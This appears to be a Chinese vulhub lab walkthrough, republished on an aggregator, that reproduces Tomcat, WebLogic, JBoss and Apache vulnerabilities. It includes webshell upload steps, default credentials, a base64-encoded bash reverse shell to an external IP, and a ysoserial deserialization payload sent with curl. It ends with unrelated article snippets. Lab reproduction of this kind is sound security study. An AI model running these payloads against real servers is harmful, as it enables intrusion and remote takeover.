一、Tomcat

Tomcat put方法任意文件写入漏洞

环境搭建,启动时端口被占用就改yml配置文件,改成8081端口。(我这里是8080)

cd vulhub-master/tomcat/CVE-2017-12615 
docker-compose up -d 

去抓包,改成put提交。下面的内容是用哥斯拉生成的木马文件。把1.jsp打开把内容复制进来就可以了。放行后去访问一下。

放行后去访问一下,然后用工具连接就可以了。

后台弱口令部署war包

开环境。 打不开就换个端口。

cd tomcat8
docker-compose up -d

把生成的1.jsp文件先压缩一下,然后把后缀改成war。

点Manager App我们去上传文件。(账号密码都是tomcat)

去放问一下,然后用工具连接一下即可。

Tomcat文件包含漏洞

tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另一个是默认的8009AJP协议端口,两个端口默认均监听在外网ip。

环境搭建

cd vulhub-master/tomcat/CVE-2020-1938  
docker-compose up -d 

开了环境之后把脚本文件拖进去,执行下面命令(如果有python2直接用python运行就行)。

python2 CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 47.93.51.60

二、WebLogic

后台弱口令GetShell

默认账号密码:weblogic/Oracle@123

cd vulhub-master/weblogic/weak_password  
docker-compose up -d

开环境时出现错误,改一下yml文件。再重新启动一下就可以了。

访问下面这个页面用账号密码登陆进去。

http://47.93.51.60:7001/console/login/LoginForm.jsp

登录后台后,点击部署,点击安装,点击上传文件,把我们生成的1.war上传上去。

尝试用哥斯拉连接,连接成功即可。

WebLogic T3协议反序列化命令执行漏洞

使用工具扫漏洞急用即可。

cd vulhub-master/weblogic/CVE-2018-2628  
docker-compose up -d

WebLogic文件任意上传漏洞

cd vulhub-master/weblogic/CVE-2018-2894  
docker-compose up -d

这里环境后台密码是随机得,获取密码:docker-compose logs | grep password 

访问http://47.93.51.60:7001/console/login/LoginForm.jsp 。

由于博主的weblogic页面打不开,就不给大家示范了。

三、Jboss

Jboss JMXInvokerServlet 反序列化漏洞

cd vulhub-master/jboss/JMXInvokerServlet-deserialization  
docker-compose up -d

http://47.93.51.60:8080/invoker/JMXInvokerServlet 

访问时下载了一个文件。说明接口开放,此接口存在反序列化漏洞。下载ysoserial工具进行漏洞利用。

将反弹shell进行base64编码。同时打开监听。

bash -i >& /dev/tcp/47.93.51.60/6666 0>&1 
YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45My41MS42MC82NjY2IDA+JjEg

执行下面两个代码,就可以监听到了。 

java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45My41MS42MC82NjY2IDA+JjEg}|{base64,-d}| {bash,-i} ">exp.ser
curl http://47.93.51.60:8080/invoker/JMXInvokerServlet --data-binary @exp.ser 

JBossMQ JMS 反序列化漏洞 

cd vulhub-master/jboss/CVE-2017-7504  
docker-compose up -d 
http://47.93.51.60:8080/jbossmq-httpil/HTTPServerILServlet

在我们的工具里运行以下代码。

python jexboss.py -u http://47.93.51.60:8080

JBoss 5.x/6.x反序列化漏洞

cd vulhub-master/jboss/CVE-2017-12149  
docker-compose up -d

访问主页。 

该漏洞出现在/invoker/readonly中 ,服务器将用户post请求内容进行反序列化。返回500,说明页⾯存在,此页面存在反序列化漏洞。

http://47.93.51.60:8080/invoker/readonly

使用工具进行检测,执行成功即可。

Administration Console弱口令

账户密码:admin,vulhub

cd vulhub-master/jboss/CVE-2017-12149  
docker-compose up -d 
http://47.93.51.60:8080/admin-console/login.seam

文件名是数字时,上传出错了,所以我改成字母了,就上传成功了。

http://47.93.51.60:8080/a/a.jsp

访问一下,没有报错就说明上传成功了,用哥斯拉连接试试。

低版本JMX Console未授权访问Getshell

cd vulhub-master/jboss/CVE-2017-7504  
docker-compose up -d

这里我们使用的复现环境不存在,所以需要密码(正常环境无需密码直接可进入)

账号密码:admin,admin 

把我们的a.war文件拖进去之后开启80端口,就可以看见a.war了。

然后把a.war的远程路径输进去。

去访问一下就可以了。

http://47.93.51.60:8080/a/a.jsp

高版本JMX Console未授权

账号密码:admin,vulhub

cd vulhub-master/jboss/CVE-2017-12149  
docker-compose up -d 

http://47.93.51.60:8080/a/a.jsp

没有出错说明上传成功。

四、Apache

Apache HTTP Server 路径穿越漏洞

docker pull blueteamsteve/cve-2021-41773:no-cgid 
docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid 

打开我们的工具。存在文件读取漏洞,但是我们执行命令出现了乱码。

因为浏览器不能解码,那我们可以去抓包执行我们的命令。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/web/91396.shtml
繁体地址,请注明出处:http://hk.pswp.cn/web/91396.shtml
英文地址,请注明出处:http://en.pswp.cn/web/91396.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

27.(vue3.x+vite)以pinia为中心的开发模板(监听watch)

效果截图 代码实现: HelloWorld.vue <template><div style="padding: 20px">介绍:<br />1:使用统一的 watch 来监听store的值。<br

Jenkins 详解

Jenkins 是一个开源的持续集成和持续交付(CI/CD)工具&#xff0c;用于自动化软件开发过程中的构建、测试和部署阶段。以下是关于 Jenkins 的详细介绍&#xff1a; 1. Jenkins 核心概念 1.1 持续集成(CI) 开发人员频繁地将代码变更提交到共享仓库每次提交都会触发自动构建和测试…

动态配置实现过程

查看DCCValueBeanFactory类的完整实现&#xff0c;了解动态配置的实现过程 动态配置实现过程 1. 自定义注解 使用DCCValue注解标记需要动态配置的字段&#xff0c;格式为key:defaultValue&#xff1a; DCCValue("downgradeSwitch:0") private String downgradeSw…

【大模型理论篇】跨语言AdaCOT

参考&#xff1a;AdaCoT: Rethinking Cross-Lingual Factual Reasoning throughAdaptive Chain-of-ThoughtAdaCoT&#xff08;Adaptive Chain-of-Thought&#xff0c;自适应思维链&#xff09;是一项提升大型语言模型&#xff08;LLMs&#xff09;跨语言事实推理能力的新框架。…

vue3项目搭建

前一段时间招聘前端开发,发现好多开发连基本的创建项目都不会,这里总结一下 在Vue 3中,使用Webpack和Vite创建的项目文件结构及语言(JS/TS)的选择有以下主要区别: 1. 创建方式与文件结构差异 方式一、Webpack(Vue CLI) 创建命令: vue create project-name 典型文件结构…

企业签名的多种形式

企业签名有多种形式&#xff0c;可分为企业签名独立版、企业签名稳定版、企业签名共享版等。每一种形式的企业签名都有其独特的特点&#xff0c;其中&#xff1a;  企业签名独立版&#xff1a;其特性主要为稳定性较高&#xff0c;使用者可以通过控制APP的下载量来保证APP的稳…

解构远程智能系统的视频能力链:从RTSP|RTMP协议接入到Unity3D头显呈现全流程指南

在人工智能奔腾的2025年&#xff0c;WAIC&#xff08;世界人工智能大会&#xff09;释放出一个明确信号&#xff1a;视频能力已经成为通往“远程智能”的神经中枢。在无人机、四足机器人、远程施工、巡检等新兴场景中&#xff0c;一套可靠、低延迟、可嵌入头显设备的视频传输系…

Less Less基础

1.lessless是一种动态样式语言&#xff0c;属于CSS预处理器的范畴&#xff0c;它扩展了CSS语言&#xff0c;增加了变量&#xff0c;Mixin&#xff0c;函数等特性&#xff0c;使CSS更易维护和扩展。Less既可以在客户端上运行&#xff0c;也可以借助Node.js在服务端运行。2.Less中…

如何使用 Redis 实现 API 网关或单个服务的请求限流?

使用 Redis 高效实现 API 网关与服务的请求限流 在微服务架构中&#xff0c;对 API 网关或单个服务的请求进行速率限制至关重要&#xff0c;以防止恶意攻击、资源滥用并确保系统的稳定性和可用性。 Redis 凭借其高性能、原子操作和丰富的数据结构&#xff0c;成为实现请求限流的…

图片查重从设计到实现(7) :使用 Milvus 实现高效图片查重功能

使用 Milvus 实现高效图片查重功能本文将介绍如何利用 Milvus 向量数据库构建一个高效的图片查重系统&#xff0c;通过传入图片就能快速从已有数据中找出匹配度高的相似图片。一.什么是图片查重&#xff1f; 图片查重指的是通过算法识别出内容相同或高度相似的图片&#xff0c;…

诱导多能干细胞(iPSC)的自述

自十七年前诱导多能干细胞&#xff08;也称iPS细胞或iPSC&#xff09;技术出现以来&#xff0c;干细胞生物学和再生医学取得了巨大进展。人类iPSC已广泛用于疾病建模、药物发现和细胞疗法开发。新的病理机制已被阐明&#xff0c;源自iPSC筛选的新药正在研发中&#xff0c;并且首…

基于深度学习的医学图像分析:使用DeepLabv3+实现医学图像分割

前言 医学图像分析是计算机视觉领域中的一个重要应用&#xff0c;特别是在医学图像分割任务中&#xff0c;深度学习技术已经取得了显著的进展。医学图像分割是指从医学图像中识别和分割出特定的组织或器官&#xff0c;这对于疾病的诊断和治疗具有重要意义。近年来&#xff0c;D…

Lombok 字段魔法:用 @FieldDefaults 解锁“隐身+锁死”双重特效

前言 项目里总有这样一种神秘现象:明明只是几个字段,却堆满 private final,每次都得机械敲上一遍。有的同事一边敲一边默念“代码规范不能丢”,表情严肃得像在写遗嘱。可惜,规范虽好,手指遭殃。 于是,Lombok 悄然登场,肩扛简洁大旗,手握注解神器,@FieldDefaults 正…

小白如何自学网络安全,零基础入门到精通,看这一篇就够了!

小白如何自学网络安全&#xff0c;零基础入门到精通&#xff0c;看这一篇就够了&#xff01; 小白人群想学网安但是不知道从哪入手&#xff1f;一篇文章告诉你如何在4个月内吃透网安课程&#xff0c;掌握网安技术 一、基础阶段 1.了解网安相关基础知识 了解中华人民共和国网…

前端 vue 第三方工具包详解-小白版

恭喜你迈入Vue世界&#xff01;&#x1f604; 对于前端小白&#xff0c;掌握这些常用第三方包能极大提升开发效率和项目质量。以下是Vue生态中必备的第三方包及小白友好式用法解析&#xff1a;&#x1f9f1; 一、基础工具包&#xff08;每个项目必装&#xff09; 1. Vue Router…

解决mac下git pull、push需要输入密码

解决方法&#xff1a; 1.强制配置 SSH 自动加载钥匙串 编辑 SSH 配置文件 vi ~/.ssh/configHost *AddKeysToAgent yes # 自动将密钥添加到 ssh-agentUseKeychain yes # 明确使用钥匙串存储密码IdentityFile ~/.ssh/id_rsa # 替换为你的私钥路径2.修复 Sh…

内存网格、KV存储和Redis的概念、使用场景及异同

基本概念 内存网格 (In-Memory Data Grid - IMDG) 内存网格是一种分布式内存数据存储技术&#xff0c;具有以下特点&#xff1a;分布式架构 数据跨多个服务器节点分布存储提供线性扩展能力内存优先 主要数据存储在内存中&#xff0c;提供微秒级访问延迟支持持久化作为备份企业级…

【C++算法】87.BFS解决最短路径问题_为高尔夫比赛砍树

文章目录题目链接&#xff1a;题目描述&#xff1a;解法C 算法代码&#xff1a;题目链接&#xff1a; 675. 为高尔夫比赛砍树 题目描述&#xff1a; 解法 注意&#xff1a;砍树要从低到高砍。 砍掉1&#xff0c;从1到5到2 砍掉2&#xff0c;从2到5到3 砍掉3&#xff0c;从3到5…

JavaScript内存管理完全指南:从入门到精通

文章目录JavaScript内存管理完全指南&#xff1a;从入门到精通1. 哪些数据类型属于引用类型&#xff08;复杂数据类型&#xff09;&#xff1f;2. 为什么引用类型要存储在堆中&#xff1f;3. 引用类型的内存存储示例示例 1&#xff1a;对象&#xff08;Object&#xff09;示例 …

Linux网络-------3.应⽤层协议HTTP

1.HTTP协议 虽然我们说,应⽤层协议是我们程序猿⾃⼰定的.但实际上,已经有⼤佬们定义了⼀些现成的,⼜⾮常好⽤的应⽤层协议,供我们直接参考使⽤.HTTP(超⽂本传输协议)就是其中之⼀。 在互联⽹世界中&#xff0c;HTTP&#xff08;HyperText Transfer Protocol&#xff0c;超⽂本…